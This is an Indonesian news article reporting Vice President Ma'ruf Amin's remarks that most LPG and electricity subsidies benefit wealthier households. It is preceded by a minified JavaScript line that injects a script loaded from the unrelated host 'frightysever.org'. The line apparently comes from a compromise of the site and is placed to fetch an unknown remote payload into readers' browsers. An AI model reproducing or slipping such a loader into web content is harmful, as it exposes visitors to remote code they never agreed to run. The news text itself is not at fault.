(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Bisnis

Wapres: 65 Persen Subsidi Elpiji hanya ‘Dimakan’ Orang Mampu

KANALKALIMANTAN.COM, JAKARTA– Wakil Presiden Ma’ruf Amin mengakui gelontoran dana subsidi gas Elpiji banyak tidak tepat sasaran karena justru dinikmati oleh masyarakat mampu.

Pasalnya, berdasarkan data yang dimilikinya subsidi justru 65 persen diantaranya dinikmati masyarakat dengan tingkat kesejahteraan tinggi.

“Ketimpangan terjadi untuk subsidi Elpiji yang hanya dinikmati oleh 35 persen kelompok masyarakat miskin dan rentan, dan sisanya dinikmati kelompok masyarakat dengan tingkat kesejahteraan yang lebih tinggi,” ungkap Ma’ruf dalam Dies Natalis V dan Lustrum I Universitas Pertamina 2020, Senin (1/2/2021) dilansir CNNIndonesia.

Ia menyayangkan realita tersebut. Pasalnya, pemerintah mengalokasikan dana yang tak sedikit untuk memberikan subsidi Elpiji. Tahun ini saja misalnya, pemerintah menganggarkan dana sebesar Rp54 triliun untuk subsidi Elpiji. Selain itu, pemerintah juga menyediakan 7,5 juta metrik ton Elpiji untuk masyarakat.

“Tentu ini ironis, alokasi subsidi Elpiji jumlahnya sangat besar dan cenderung meningkat, tapi masih terdapat lebih dari 12,51 juta rumah tangga miskin dan rentan di Indonesia yang memasak menggunakan kayu bakar,” ucap Ma’ruf.

Selain subsidi Elpiji, Ma’ruf menyatakan mayoritas penerima subsidi listrik juga didominasi masyarakat mampu. Namun, ia tak menjelaskan rinci persentase masyarakat mampu yang menerima subsidi tersebut.

Kendati demikian, ia mengklaim jumlah masyarakat miskin yang menikmati subsidi listrik naik dari tahun ke tahun. Sebagai contoh, jumlah masyarakat miskin yang menerima subsidi listrik pada 2017 sebesar 26 persen dan 2018 naik menjadi 44 persen.

Secara keseluruhan, Ma’ruf menyatakan kebijakan subsidi energi di Indonesia perlu diperbaiki. Hal ini agar tercipta keadilan akses energi untuk meningkatkan ketahanan energi nasional.

“Sebagai Ketua Tim Nasional Percepatan Penanggulangan Kemiskinan (TNP2K), saya telah meminta agar kebijakan energi juga harus berpihak kepada masyarakat miskin dan rentan,” pungkas Ma’ruf. (Kanalkalimantan.com/cnni)

Editor : Cell